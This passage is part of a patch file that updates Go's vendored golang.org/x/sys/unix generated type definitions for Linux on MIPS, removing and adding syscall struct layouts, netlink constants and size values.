-- SizeofPacketMreq = 0x10
-- SizeofMsghdr = 0x1c
-- SizeofCmsghdr = 0xc
-- SizeofInet4Pktinfo = 0xc
-- SizeofInet6Pktinfo = 0x14
-- SizeofIPv6MTUInfo = 0x20
-- SizeofICMPv6Filter = 0x20
-- SizeofUcred = 0xc
-- SizeofTCPInfo = 0x68
-+ SizeofIovec = 0x8
-+ SizeofMsghdr = 0x1c
-+ SizeofCmsghdr = 0xc
- )
-
- const (
-- IFA_UNSPEC = 0x0
-- IFA_ADDRESS = 0x1
-- IFA_LOCAL = 0x2
-- IFA_LABEL = 0x3
-- IFA_BROADCAST = 0x4
-- IFA_ANYCAST = 0x5
-- IFA_CACHEINFO = 0x6
-- IFA_MULTICAST = 0x7
-- IFLA_UNSPEC = 0x0
-- IFLA_ADDRESS = 0x1
-- IFLA_BROADCAST = 0x2
-- IFLA_IFNAME = 0x3
-- IFLA_MTU = 0x4
-- IFLA_LINK = 0x5
-- IFLA_QDISC = 0x6
-- IFLA_STATS = 0x7
-- IFLA_COST = 0x8
-- IFLA_PRIORITY = 0x9
-- IFLA_MASTER = 0xa
-- IFLA_WIRELESS = 0xb
-- IFLA_PROTINFO = 0xc
-- IFLA_TXQLEN = 0xd
-- IFLA_MAP = 0xe
-- IFLA_WEIGHT = 0xf
-- IFLA_OPERSTATE = 0x10
-- IFLA_LINKMODE = 0x11
-- IFLA_LINKINFO = 0x12
-- IFLA_NET_NS_PID = 0x13
-- IFLA_IFALIAS = 0x14
-- IFLA_MAX = 0x2b
-- RT_SCOPE_UNIVERSE = 0x0
-- RT_SCOPE_SITE = 0xc8
-- RT_SCOPE_LINK = 0xfd
-- RT_SCOPE_HOST = 0xfe
-- RT_SCOPE_NOWHERE = 0xff
-- RT_TABLE_UNSPEC = 0x0
-- RT_TABLE_COMPAT = 0xfc
-- RT_TABLE_DEFAULT = 0xfd
-- RT_TABLE_MAIN = 0xfe
-- RT_TABLE_LOCAL = 0xff
-- RT_TABLE_MAX = 0xffffffff
-- RTA_UNSPEC = 0x0
-- RTA_DST = 0x1
-- RTA_SRC = 0x2
-- RTA_IIF = 0x3
-- RTA_OIF = 0x4
-- RTA_GATEWAY = 0x5
-- RTA_PRIORITY = 0x6
-- RTA_PREFSRC = 0x7
-- RTA_METRICS = 0x8
-- RTA_MULTIPATH = 0x9
-- RTA_FLOW = 0xb
-- RTA_CACHEINFO = 0xc
-- RTA_TABLE = 0xf
-- RTN_UNSPEC = 0x0
-- RTN_UNICAST = 0x1
-- RTN_LOCAL = 0x2
-- RTN_BROADCAST = 0x3
-- RTN_ANYCAST = 0x4
-- RTN_MULTICAST = 0x5
-- RTN_BLACKHOLE = 0x6
-- RTN_UNREACHABLE = 0x7
-- RTN_PROHIBIT = 0x8
-- RTN_THROW = 0x9
-- RTN_NAT = 0xa
-- RTN_XRESOLVE = 0xb
-- RTNLGRP_NONE = 0x0
-- RTNLGRP_LINK = 0x1
-- RTNLGRP_NOTIFY = 0x2
-- RTNLGRP_NEIGH = 0x3
-- RTNLGRP_TC = 0x4
-- RTNLGRP_IPV4_IFADDR = 0x5
-- RTNLGRP_IPV4_MROUTE = 0x6
-- RTNLGRP_IPV4_ROUTE = 0x7
-- RTNLGRP_IPV4_RULE = 0x8
-- RTNLGRP_IPV6_IFADDR = 0x9
-- RTNLGRP_IPV6_MROUTE = 0xa
-- RTNLGRP_IPV6_ROUTE = 0xb
-- RTNLGRP_IPV6_IFINFO = 0xc
-- RTNLGRP_IPV6_PREFIX = 0x12
-- RTNLGRP_IPV6_RULE = 0x13
-- RTNLGRP_ND_USEROPT = 0x14
-- SizeofNlMsghdr = 0x10
-- SizeofNlMsgerr = 0x14
-- SizeofRtGenmsg = 0x1
-- SizeofNlAttr = 0x4
-- SizeofRtAttr = 0x4
-- SizeofIfInfomsg = 0x10
-- SizeofIfAddrmsg = 0x8
-- SizeofRtMsg = 0xc
-- SizeofRtNexthop = 0x8
-+ SizeofSockFprog = 0x8
- )
-
--type NlMsghdr struct {
-- Len uint32
-- Type uint16
-- Flags uint16
-- Seq uint32
-- Pid uint32
--}
--
--type NlMsgerr struct {
-- Error int32
-- Msg NlMsghdr
--}
--
--type RtGenmsg struct {
-- Family uint8
--}
--
--type NlAttr struct {
-- Len uint16
-- Type uint16
--}
--
--type RtAttr struct {
-- Len uint16
-- Type uint16
--}
--
--type IfInfomsg struct {
-- Family uint8
-- X__ifi_pad uint8
-- Type uint16
-- Index int32
-- Flags uint32
-- Change uint32
--}
--
--type IfAddrmsg struct {
-- Family uint8
-- Prefixlen uint8
-- Flags uint8
-- Scope uint8
-- Index uint32
--}
--
--type RtMsg struct {
-- Family uint8
-- Dst_len uint8
-- Src_len uint8
-- Tos uint8
-- Table uint8
-- Protocol uint8
-- Scope uint8
-- Type uint8
-- Flags uint32
--}
--
--type RtNexthop struct {
-- Len uint16
-- Flags uint8
-- Hops uint8
-- Ifindex int32
--}
--
--const (
-- SizeofSockFilter = 0x8
-- SizeofSockFprog = 0x8
--)
--
--type SockFilter struct {
-- Code uint16
-- Jt uint8
-- Jf uint8
-- K uint32
--}
--
--type SockFprog struct {
-- Len uint16
-- Pad_cgo_0 [2]byte
-- Filter *SockFilter
--}
--
--type InotifyEvent struct {
-- Wd int32
-- Mask uint32
-- Cookie uint32
-- Len uint32
--}
--
--const SizeofInotifyEvent = 0x10
--
- type PtraceRegs struct {
- Regs [32]uint64
- Lo uint64
-@@ -610,16 +194,7 @@ type Sysinfo_t struct {
- Totalhigh uint32
- Freehigh uint32
- Unit uint32
-- X_f [8]int8
--}
--
--type Utsname struct {
-- Sysname [65]int8
-- Nodename [65]int8
-- Release [65]int8
-- Version [65]int8
-- Machine [65]int8
-- Domainname [65]int8
-+ _ [8]int8
- }
-
- type Ustat_t struct {
-@@ -637,37 +212,14 @@ type EpollEvent struct {
- }
-
- const (
-- AT_FDCWD = -0x64
-- AT_REMOVEDIR = 0x200
-- AT_SYMLINK_FOLLOW = 0x400
-- AT_SYMLINK_NOFOLLOW = 0x100
--)
--
--type PollFd struct {
-- Fd int32
-- Events int16
-- Revents int16
--}
--
--const (
-- POLLIN = 0x1
-- POLLPRI = 0x2
-- POLLOUT = 0x4
- POLLRDHUP = 0x2000
-- POLLERR = 0x8
-- POLLHUP = 0x10
-- POLLNVAL = 0x20
- )
-
- type Sigset_t struct {
-- X__val [32]uint32
-+ Val [32]uint32
- }
-
--const RNDGETENTCNT = 0x40045200
--
--const PERF_IOC_FLAG_GROUP = 0x1
--
--const _SC_PAGESIZE = 0x1e
-+const _C__NSIG = 0x80
-
- type Termios struct {
- Iflag uint32
-@@ -680,20 +232,12 @@ type Termios struct {
- Ospeed uint32
- }
-
--type Winsize struct {
-- Row uint16
-- Col uint16
-- Xpixel uint16
-- Ypixel uint16
--}
--
- type Taskstats struct {
- Version uint16
-- Pad_cgo_0 [2]byte
- Ac_exitcode uint32
- Ac_flag uint8
- Ac_nice uint8
-- Pad_cgo_1 [6]byte
-+ _ [4]byte
- Cpu_count uint64
- Cpu_delay_total uint64
- Blkio_count uint64
-@@ -705,13 +249,13 @@ type Taskstats struct {
- Ac_comm [32]int8
- Ac_sched uint8
- Ac_pad [3]uint8
-- Pad_cgo_2 [4]byte
-+ _ [4]byte
- Ac_uid uint32
- Ac_gid uint32
- Ac_pid uint32
- Ac_ppid uint32
- Ac_btime uint32
-- Pad_cgo_3 [4]byte
-+ _ [4]byte
- Ac_etime uint64
- Ac_utime uint64
- Ac_stime uint64
-@@ -735,55 +279,319 @@ type Taskstats struct {
- Cpu_scaled_run_real_total uint64
- Freepages_count uint64
- Freepages_delay_total uint64
-+ Thrashing_count uint64
-+ Thrashing_delay_total uint64
-+ Ac_btime64 uint64
- }
-
-+type cpuMask uint32
-+
-+const (
-+ _NCPUBITS = 0x20
-+)
-+
- const (
-- TASKSTATS_CMD_UNSPEC = 0x0
-- TASKSTATS_CMD_GET = 0x1
-- TASKSTATS_CMD_NEW = 0x2
-- TASKSTATS_TYPE_UNSPEC = 0x0
-- TASKSTATS_TYPE_PID = 0x1
-- TASKSTATS_TYPE_TGID = 0x2
-- TASKSTATS_TYPE_STATS = 0x3
-- TASKSTATS_TYPE_AGGR_PID = 0x4
-- TASKSTATS_TYPE_AGGR_TGID = 0x5
-- TASKSTATS_TYPE_NULL = 0x6
-- TASKSTATS_CMD_ATTR_UNSPEC = 0x0
-- TASKSTATS_CMD_ATTR_PID = 0x1
-- TASKSTATS_CMD_ATTR_TGID = 0x2
-- TASKSTATS_CMD_ATTR_REGISTER_CPUMASK = 0x3
-- TASKSTATS_CMD_ATTR_DEREGISTER_CPUMASK = 0x4
-+ CBitFieldMaskBit0 = 0x8000000000000000
-+ CBitFieldMaskBit1 = 0x4000000000000000
-+ CBitFieldMaskBit2 = 0x2000000000000000
-+ CBitFieldMaskBit3 = 0x1000000000000000
-+ CBitFieldMaskBit4 = 0x800000000000000
-+ CBitFieldMaskBit5 = 0x400000000000000
-+ CBitFieldMaskBit6 = 0x200000000000000
-+ CBitFieldMaskBit7 = 0x100000000000000
-+ CBitFieldMaskBit8 = 0x80000000000000
-+ CBitFieldMaskBit9 = 0x40000000000000
-+ CBitFieldMaskBit10 = 0x20000000000000
-+ CBitFieldMaskBit11 = 0x10000000000000
-+ CBitFieldMaskBit12 = 0x8000000000000
-+ CBitFieldMaskBit13 = 0x4000000000000
-+ CBitFieldMaskBit14 = 0x2000000000000
-+ CBitFieldMaskBit15 = 0x1000000000000
-+ CBitFieldMaskBit16 = 0x800000000000
-+ CBitFieldMaskBit17 = 0x400000000000
-+ CBitFieldMaskBit18 = 0x200000000000
-+ CBitFieldMaskBit19 = 0x100000000000
-+ CBitFieldMaskBit20 = 0x80000000000
-+ CBitFieldMaskBit21 = 0x40000000000
-+ CBitFieldMaskBit22 = 0x20000000000
-+ CBitFieldMaskBit23 = 0x10000000000
-+ CBitFieldMaskBit24 = 0x8000000000
-+ CBitFieldMaskBit25 = 0x4000000000
-+ CBitFieldMaskBit26 = 0x2000000000
-+ CBitFieldMaskBit27 = 0x1000000000
-+ CBitFieldMaskBit28 = 0x800000000
-+ CBitFieldMaskBit29 = 0x400000000
-+ CBitFieldMaskBit30 = 0x200000000
-+ CBitFieldMaskBit31 = 0x100000000
-+ CBitFieldMaskBit32 = 0x80000000
-+ CBitFieldMaskBit33 = 0x40000000
-+ CBitFieldMaskBit34 = 0x20000000
-+ CBitFieldMaskBit35 = 0x10000000
-+ CBitFieldMaskBit36 = 0x8000000
-+ CBitFieldMaskBit37 = 0x4000000
-+ CBitFieldMaskBit38 = 0x2000000
-+ CBitFieldMaskBit39 = 0x1000000
-+ CBitFieldMaskBit40 = 0x800000
-+ CBitFieldMaskBit41 = 0x400000
-+ CBitFieldMaskBit42 = 0x200000
-+ CBitFieldMaskBit43 = 0x100000
-+ CBitFieldMaskBit44 = 0x80000
-+ CBitFieldMaskBit45 = 0x40000
-+ CBitFieldMaskBit46 = 0x20000
-+ CBitFieldMaskBit47 = 0x10000
-+ CBitFieldMaskBit48 = 0x8000
-+ CBitFieldMaskBit49 = 0x4000
-+ CBitFieldMaskBit50 = 0x2000
-+ CBitFieldMaskBit51 = 0x1000
-+ CBitFieldMaskBit52 = 0x800
-+ CBitFieldMaskBit53 = 0x400
-+ CBitFieldMaskBit54 = 0x200
-+ CBitFieldMaskBit55 = 0x100
-+ CBitFieldMaskBit56 = 0x80
-+ CBitFieldMaskBit57 = 0x40
-+ CBitFieldMaskBit58 = 0x20
-+ CBitFieldMaskBit59 = 0x10
-+ CBitFieldMaskBit60 = 0x8
-+ CBitFieldMaskBit61 = 0x4
-+ CBitFieldMaskBit62 = 0x2
-+ CBitFieldMaskBit63 = 0x1
- )
-
--type Genlmsghdr struct {
-- Cmd uint8
-- Version uint8
-- Reserved uint16
-+type SockaddrStorage struct {
-+ Family uint16
-+ _ [122]int8
-+ _ uint32
-+}
-+
-+type HDGeometry struct {
-+ Heads uint8
-+ Sectors uint8
-+ Cylinders uint16
-+ Start uint32
-+}
-+
-+type Statfs_t struct {
-+ Type int32
-+ Bsize int32
-+ Frsize int32
-+ _ [4]byte
-+ Blocks uint64
-+ Bfree uint64
-+ Files uint64
-+ Ffree uint64
-+ Bavail uint64
-+ Fsid Fsid
-+ Namelen int32
-+ Flags int32
-+ Spare [5]int32
-+ _ [4]byte
-+}
-+
-+type TpacketHdr struct {
-+ Status uint32
-+ Len uint32
-+ Snaplen uint32
-+ Mac uint16
-+ Net uint16
-+ Sec uint32
-+ Usec uint32
-+}
-+
-+const (
-+ SizeofTpacketHdr = 0x18
-+)
-+
-+type RTCPLLInfo struct {
-+ Ctrl int32
-+ Value int32
-+ Max int32
-+ Min int32
-+ Posmult int32
-+ Negmult int32
-+ Clock int32
-+}
-+
-+type BlkpgPartition struct {
-+ Start int64
-+ Length int64
-+ Pno int32
-+ Devname [64]uint8
-+ Volname [64]uint8
-+ _ [4]byte
- }
-
- const (
-- CTRL_CMD_UNSPEC = 0x0
-- CTRL_CMD_NEWFAMILY = 0x1
-- CTRL_CMD_DELFAMILY = 0x2
-- CTRL_CMD_GETFAMILY = 0x3
-- CTRL_CMD_NEWOPS = 0x4
-- CTRL_CMD_DELOPS = 0x5
-- CTRL_CMD_GETOPS = 0x6
-- CTRL_CMD_NEWMCAST_GRP = 0x7
-- CTRL_CMD_DELMCAST_GRP = 0x8
-- CTRL_CMD_GETMCAST_GRP = 0x9
-- CTRL_ATTR_UNSPEC = 0x0
-- CTRL_ATTR_FAMILY_ID = 0x1
-- CTRL_ATTR_FAMILY_NAME = 0x2
-- CTRL_ATTR_VERSION = 0x3
-- CTRL_ATTR_HDRSIZE = 0x4
-- CTRL_ATTR_MAXATTR = 0x5
-- CTRL_ATTR_OPS = 0x6
-- CTRL_ATTR_MCAST_GROUPS = 0x7
-- CTRL_ATTR_OP_UNSPEC = 0x0
-- CTRL_ATTR_OP_ID = 0x1
-- CTRL_ATTR_OP_FLAGS = 0x2
-- CTRL_ATTR_MCAST_GRP_UNSPEC = 0x0
-- CTRL_ATTR_MCAST_GRP_NAME = 0x1
-- CTRL_ATTR_MCAST_GRP_ID = 0x2
-+ BLKPG = 0x20001269
- )
-+
-+type XDPUmemReg struct {
-+ Addr uint64
-+ Len uint64
-+ Size uint32
-+ Headroom uint32
-+ Flags uint32
-+ _ [4]byte
-+}
-+
-+type CryptoUserAlg struct {
-+ Name [64]int8
-+ Driver_name [64]int8
-+ Module_name [64]int8
-+ Type uint32
-+ Mask uint32
-+ Refcnt uint32
-+ Flags uint32
-+}
-+
-+type CryptoStatAEAD struct {
-+ Type [64]int8
-+ Encrypt_cnt uint64
-+ Encrypt_tlen uint64
-+ Decrypt_cnt uint64
-+ Decrypt_tlen uint64
-+ Err_cnt uint64
-+}
-+
-+type CryptoStatAKCipher struct {
-+ Type [64]int8
-+ Encrypt_cnt uint64
-+ Encrypt_tlen uint64
-+ Decrypt_cnt uint64
-+ Decrypt_tlen uint64
-+ Verify_cnt uint64
-+ Sign_cnt uint64
-+ Err_cnt uint64
-+}
-+
-+type CryptoStatCipher struct {
-+ Type [64]int8
-+ Encrypt_cnt uint64
-+ Encrypt_tlen uint64
-+ Decrypt_cnt uint64
-+ Decrypt_tlen uint64
-+ Err_cnt uint64
-+}
-+
-+type CryptoStatCompress struct {
-+ Type [64]int8
-+ Compress_cnt uint64
-+ Compress_tlen uint64
-+ Decompress_cnt uint64
-+ Decompress_tlen uint64
-+ Err_cnt uint64
-+}
-+
-+type CryptoStatHash struct {
-+ Type [64]int8
-+ Hash_cnt uint64
-+ Hash_tlen uint64
-+ Err_cnt uint64
-+}
-+
-+type CryptoStatKPP struct {
-+ Type [64]int8
-+ Setsecret_cnt uint64
-+ Generate_public_key_cnt uint64
-+ Compute_shared_secret_cnt uint64
-+ Err_cnt uint64
-+}
-+
-+type CryptoStatRNG struct {
-+ Type [64]int8
-+ Generate_cnt uint64
-+ Generate_tlen uint64
-+ Seed_cnt uint64
-+ Err_cnt uint64
-+}
-+
-+type CryptoStatLarval struct {
-+ Type [64]int8
-+}
-+
-+type CryptoReportLarval struct {
-+ Type [64]int8
-+}
-+
-+type CryptoReportHash struct {
-+ Type [64]int8
-+ Blocksize uint32
-+ Digestsize uint32
-+}
-+
-+type CryptoReportCipher struct {
-+ Type [64]int8
-+ Blocksize uint32
-+ Min_keysize uint32
-+ Max_keysize uint32
-+}
-+
-+type CryptoReportBlkCipher struct {
-+ Type [64]int8
-+ Geniv [64]int8
-+ Blocksize uint32
-+ Min_keysize uint32
-+ Max_keysize uint32
-+ Ivsize uint32
-+}
-+
-+type CryptoReportAEAD struct {
-+ Type [64]int8
-+ Geniv [64]int8
-+ Blocksize uint32
-+ Maxauthsize uint32
-+ Ivsize uint32
-+}
-+
-+type CryptoReportComp struct {
-+ Type [64]int8
-+}
-+
-+type CryptoReportRNG struct {
-+ Type [64]int8
-+ Seedsize uint32
-+}
-+
-+type CryptoReportAKCipher struct {
-+ Type [64]int8
-+}
-+
-+type CryptoReportKPP struct {
-+ Type [64]int8
-+}
-+
-+type CryptoReportAcomp struct {
-+ Type [64]int8
-+}
-+
-+type LoopInfo struct {
-+ Number int32
-+ Device uint32
-+ Inode uint32
-+ Rdevice uint32
-+ Offset int32
-+ Encrypt_type int32
-+ Encrypt_key_size int32
-+ Flags int32
-+ Name [64]int8
-+ Encrypt_key [32]uint8
-+ Init [2]uint32
-+ Reserved [4]int8
-+}
-+
-+type TIPCSubscr struct {
-+ Seq TIPCServiceRange
-+ Timeout uint32
-+ Filter uint32
-+ Handle [8]int8
-+}
-+
-+type TIPCSIOCLNReq struct {
-+ Peer uint32
-+ Id uint32
-+ Linkname [68]int8
-+}
-+
-+type TIPCSIOCNodeIDReq struct {
-+ Peer uint32
-+ Id [16]int8
-+}
-diff --git a/vendor/golang.org/x/sys/unix/ztypes_linux_mips64.go b/vendor/golang.org/x/sys/unix/ztypes_linux_mips64.go
-index 3e5fc625..2e7f3b8c 100644
---- a/vendor/golang.org/x/sys/unix/ztypes_linux_mips64.go
-+++ b/vendor/golang.org/x/sys/unix/ztypes_linux_mips64.go
-@@ -6,19 +6,12 @@
- package unix
-
- const (
-- sizeofPtr = 0x8
-- sizeofShort = 0x2
-- sizeofInt = 0x4
-- sizeofLong = 0x8
-- sizeofLongLong = 0x8
-- PathMax = 0x1000
-+ SizeofPtr = 0x8
-+ SizeofLong = 0x8
- )
-
- type (
-- _C_short int16
-- _C_int int32
-- _C_long int64
-- _C_long_long int64
-+ _C_long int64
- )
-
- type Timespec struct {
-@@ -33,13 +26,11 @@ type Timeval struct {
-
- type Timex struct {
- Modes uint32
-- Pad_cgo_0 [4]byte
- Offset int64
- Freq int64
- Maxerror int64
- Esterror int64
- Status int32
-- Pad_cgo_1 [4]byte
- Constant int64
- Precision int64
- Tolerance int64
-@@ -48,14 +39,13 @@ type Timex struct {
- Ppsfreq int64
- Jitter int64
- Shift int32
-- Pad_cgo_2 [4]byte
- Stabil int64
- Jitcnt int64
- Calcnt int64
- Errcnt int64
- Stbcnt int64
- Tai int32
-- Pad_cgo_3 [44]byte
-+ _ [44]byte
- }
-
- type Time_t int64
-@@ -91,13 +81,6 @@ type Rusage struct {
- Nivcsw int64
- }
-
--type Rlimit struct {
-- Cur uint64
-- Max uint64
--}
--
--type _Gid_t uint32
--
- type Stat_t struct {
- Dev uint32
- Pad1 [3]uint32
-@@ -117,139 +100,29 @@ type Stat_t struct {
- Blocks int64
- }
-
--type Statfs_t struct {
-- Type int64
-- Bsize int64
-- Frsize int64
-- Blocks uint64
-- Bfree uint64
-- Files uint64
-- Ffree uint64
-- Bavail uint64
-- Fsid Fsid
-- Namelen int64
-- Flags int64
-- Spare [5]int64
--}
--
- type Dirent struct {
-- Ino uint64
-- Off int64
-- Reclen uint16
-- Type uint8
-- Name [256]int8
-- Pad_cgo_0 [5]byte
--}
--
--type Fsid struct {
-- X__val [2]int32
-+ Ino uint64
-+ Off int64
-+ Reclen uint16
-+ Type uint8
-+ Name [256]int8
-+ _ [5]byte
- }
-
- type Flock_t struct {
-- Type int16
-- Whence int16
-- Pad_cgo_0 [4]byte
-- Start int64
-- Len int64
-- Pid int32
-- Pad_cgo_1 [4]byte
--}
--
--type FscryptPolicy struct {
-- Version uint8
-- Contents_encryption_mode uint8
-- Filenames_encryption_mode uint8
-- Flags uint8
-- Master_key_descriptor [8]uint8
--}
--
--type FscryptKey struct {
-- Mode uint32
-- Raw [64]uint8
-- Size uint32
--}
--
--type KeyctlDHParams struct {
-- Private int32
-- Prime int32
-- Base int32
-+ Type int16
-+ Whence int16
-+ Start int64
-+ Len int64
-+ Pid int32
-+ _ [4]byte
- }
-
- const (
-- FADV_NORMAL = 0x0
-- FADV_RANDOM = 0x1
-- FADV_SEQUENTIAL = 0x2
-- FADV_WILLNEED = 0x3
-- FADV_DONTNEED = 0x4
-- FADV_NOREUSE = 0x5
-+ FADV_DONTNEED = 0x4
-+ FADV_NOREUSE = 0x5
- )
-
--type RawSockaddrInet4 struct {
-- Family uint16
-- Port uint16
-- Addr [4]byte /* in_addr */
-- Zero [8]uint8
--}
--
--type RawSockaddrInet6 struct {
-- Family uint16
-- Port uint16
-- Flowinfo uint32
-- Addr [16]byte /* in6_addr */
-- Scope_id uint32
--}
--
--type RawSockaddrUnix struct {
-- Family uint16
-- Path [108]int8
--}
--
--type RawSockaddrLinklayer struct {
-- Family uint16
-- Protocol uint16
-- Ifindex int32
-- Hatype uint16
-- Pkttype uint8
-- Halen uint8
-- Addr [8]uint8
--}
--
--type RawSockaddrNetlink struct {
-- Family uint16
-- Pad uint16
-- Pid uint32
-- Groups uint32
--}
--
--type RawSockaddrHCI struct {
-- Family uint16
-- Dev uint16
-- Channel uint16
--}
--
--type RawSockaddrCAN struct {
-- Family uint16
-- Pad_cgo_0 [2]byte
-- Ifindex int32
-- Addr [8]byte
--}
--
--type RawSockaddrALG struct {
-- Family uint16
-- Type [14]uint8
-- Feat uint32
-- Mask uint32
-- Name [64]uint8
--}
--
--type RawSockaddrVM struct {
-- Family uint16
-- Reserved1 uint16
-- Port uint32
-- Cid uint32
-- Zero [4]uint8
--}
--
- type RawSockaddr struct {
- Family uint16
- Data [14]int8
-@@ -260,51 +133,20 @@ type RawSockaddrAny struct {
- Pad [96]int8
- }
-
--type _Socklen uint32
--
--type Linger struct {
-- Onoff int32
-- Linger int32
--}
--
- type Iovec struct {
- Base *byte
- Len uint64
- }
-
--type IPMreq struct {
-- Multiaddr [4]byte /* in_addr */
-- Interface [4]byte /* in_addr */
--}
--
--type IPMreqn struct {
-- Multiaddr [4]byte /* in_addr */
-- Address [4]byte /* in_addr */
-- Ifindex int32
--}
--
--type IPv6Mreq struct {
-- Multiaddr [16]byte /* in6_addr */
-- Interface uint32
--}
--
--type PacketMreq struct {
-- Ifindex int32
-- Type uint16
-- Alen uint16
-- Address [8]uint8
--}
--
- type Msghdr struct {
- Name *byte
- Namelen uint32
-- Pad_cgo_0 [4]byte
- Iov *Iovec
- Iovlen uint64
- Control *byte
- Controllen uint64
- Flags int32
-- Pad_cgo_1 [4]byte
-+ _ [4]byte
- }
-
- type Cmsghdr struct {
-@@ -313,277 +155,16 @@ type Cmsghdr struct {
- Type int32
- }
-
--type Inet4Pktinfo struct {
-- Ifindex int32
-- Spec_dst [4]byte /* in_addr */
-- Addr [4]byte /* in_addr */
--}
--
--type Inet6Pktinfo struct {
-- Addr [16]byte /* in6_addr */
-- Ifindex uint32
--}
--
--type IPv6MTUInfo struct {
-- Addr RawSockaddrInet6
-- Mtu uint32
--}
--
--type ICMPv6Filter struct {
-- Data [8]uint32
--}
--
--type Ucred struct {
-- Pid int32
-- Uid uint32
-- Gid uint32
--}
--
--type TCPInfo struct {
-- State uint8
-- Ca_state uint8
-- Retransmits uint8
-- Probes uint8
-- Backoff uint8
-- Options uint8
-- Pad_cgo_0 [2]byte
-- Rto uint32
-- Ato uint32
-- Snd_mss uint32
-- Rcv_mss uint32
-- Unacked uint32
-- Sacked uint32
-- Lost uint32
-- Retrans uint32
-- Fackets uint32
-- Last_data_sent uint32
-- Last_ack_sent uint32
-- Last_data_recv uint32
-- Last_ack_recv uint32
-- Pmtu uint32
-- Rcv_ssthresh uint32
-- Rtt uint32
-- Rttvar uint32
-- Snd_ssthresh uint32
-- Snd_cwnd uint32
-- Advmss uint32
-- Reordering uint32
-- Rcv_rtt uint32
-- Rcv_space uint32
-- Total_retrans uint32
--}
--
- const (
-- SizeofSockaddrInet4 = 0x10
-- SizeofSockaddrInet6 = 0x1c
-- SizeofSockaddrAny = 0x70
-- SizeofSockaddrUnix = 0x6e
-- SizeofSockaddrLinklayer = 0x14
-- SizeofSockaddrNetlink = 0xc
-- SizeofSockaddrHCI = 0x6
-- SizeofSockaddrCAN = 0x10
-- SizeofSockaddrALG = 0x58
-- SizeofSockaddrVM = 0x10
-- SizeofLinger = 0x8
-- SizeofIovec = 0x10
-- SizeofIPMreq = 0x8
-- SizeofIPMreqn = 0xc
-- SizeofIPv6Mreq = 0x14
-- SizeofPacketMreq = 0x10
-- SizeofMsghdr = 0x38
-- SizeofCmsghdr = 0x10
-- SizeofInet4Pktinfo = 0xc
-- SizeofInet6Pktinfo = 0x14
-- SizeofIPv6MTUInfo = 0x20
-- SizeofICMPv6Filter = 0x20
-- SizeofUcred = 0xc
-- SizeofTCPInfo = 0x68
-+ SizeofIovec = 0x10
-+ SizeofMsghdr = 0x38
-+ SizeofCmsghdr = 0x10
- )
-
- const (
-- IFA_UNSPEC = 0x0
-- IFA_ADDRESS = 0x1
-- IFA_LOCAL = 0x2
-- IFA_LABEL = 0x3
-- IFA_BROADCAST = 0x4
-- IFA_ANYCAST = 0x5
-- IFA_CACHEINFO = 0x6
-- IFA_MULTICAST = 0x7
-- IFLA_UNSPEC = 0x0
-- IFLA_ADDRESS = 0x1
-- IFLA_BROADCAST = 0x2
-- IFLA_IFNAME = 0x3
-- IFLA_MTU = 0x4
-- IFLA_LINK = 0x5
-- IFLA_QDISC = 0x6
-- IFLA_STATS = 0x7
-- IFLA_COST = 0x8
-- IFLA_PRIORITY = 0x9
-- IFLA_MASTER = 0xa
-- IFLA_WIRELESS = 0xb
-- IFLA_PROTINFO = 0xc
-- IFLA_TXQLEN = 0xd
-- IFLA_MAP = 0xe
-- IFLA_WEIGHT = 0xf
-- IFLA_OPERSTATE = 0x10
-- IFLA_LINKMODE = 0x11
-- IFLA_LINKINFO = 0x12
-- IFLA_NET_NS_PID = 0x13
-- IFLA_IFALIAS = 0x14
-- IFLA_MAX = 0x2b
-- RT_SCOPE_UNIVERSE = 0x0
-- RT_SCOPE_SITE = 0xc8
-- RT_SCOPE_LINK = 0xfd
-- RT_SCOPE_HOST = 0xfe
-- RT_SCOPE_NOWHERE = 0xff
-- RT_TABLE_UNSPEC = 0x0
-- RT_TABLE_COMPAT = 0xfc
-- RT_TABLE_DEFAULT = 0xfd
-- RT_TABLE_MAIN = 0xfe
-- RT_TABLE_LOCAL = 0xff
-- RT_TABLE_MAX = 0xffffffff
-- RTA_UNSPEC = 0x0
-- RTA_DST = 0x1
-- RTA_SRC = 0x2
-- RTA_IIF = 0x3
-- RTA_OIF = 0x4
-- RTA_GATEWAY = 0x5
-- RTA_PRIORITY = 0x6
-- RTA_PREFSRC = 0x7
-- RTA_METRICS = 0x8
-- RTA_MULTIPATH = 0x9
-- RTA_FLOW = 0xb
-- RTA_CACHEINFO = 0xc
-- RTA_TABLE = 0xf
-- RTN_UNSPEC = 0x0
-- RTN_UNICAST = 0x1
-- RTN_LOCAL = 0x2
-- RTN_BROADCAST = 0x3
-- RTN_ANYCAST = 0x4
-- RTN_MULTICAST = 0x5
-- RTN_BLACKHOLE = 0x6
-- RTN_UNREACHABLE = 0x7
-- RTN_PROHIBIT = 0x8
-- RTN_THROW = 0x9
-- RTN_NAT = 0xa
-- RTN_XRESOLVE = 0xb
-- RTNLGRP_NONE = 0x0
-- RTNLGRP_LINK = 0x1
-- RTNLGRP_NOTIFY = 0x2
-- RTNLGRP_NEIGH = 0x3
-- RTNLGRP_TC = 0x4
-- RTNLGRP_IPV4_IFADDR = 0x5
-- RTNLGRP_IPV4_MROUTE = 0x6
-- RTNLGRP_IPV4_ROUTE = 0x7
-- RTNLGRP_IPV4_RULE = 0x8
-- RTNLGRP_IPV6_IFADDR = 0x9
-- RTNLGRP_IPV6_MROUTE = 0xa
-- RTNLGRP_IPV6_ROUTE = 0xb
-- RTNLGRP_IPV6_IFINFO = 0xc
-- RTNLGRP_IPV6_PREFIX = 0x12
-- RTNLGRP_IPV6_RULE = 0x13
-- RTNLGRP_ND_USEROPT = 0x14
-- SizeofNlMsghdr = 0x10
-- SizeofNlMsgerr = 0x14
-- SizeofRtGenmsg = 0x1
-- SizeofNlAttr = 0x4
-- SizeofRtAttr = 0x4
-- SizeofIfInfomsg = 0x10
-- SizeofIfAddrmsg = 0x8
-- SizeofRtMsg = 0xc
-- SizeofRtNexthop = 0x8
-+ SizeofSockFprog = 0x10
- )
-
--type NlMsghdr struct {
-- Len uint32
-- Type uint16
-- Flags uint16
-- Seq uint32
-- Pid uint32
--}
--
--type NlMsgerr struct {
-- Error int32
-- Msg NlMsghdr
--}
--
--type RtGenmsg struct {
-- Family uint8
--}
--
--type NlAttr struct {
-- Len uint16
-- Type uint16
--}
--
--type RtAttr struct {
-- Len uint16
-- Type uint16
--}
--
--type IfInfomsg struct {
-- Family uint8
-- X__ifi_pad uint8
-- Type uint16
-- Index int32
-- Flags uint32
-- Change uint32
--}
--
--type IfAddrmsg struct {
-- Family uint8
-- Prefixlen uint8
-- Flags uint8
-- Scope uint8
-- Index uint32
--}
--
--type RtMsg struct {
-- Family uint8
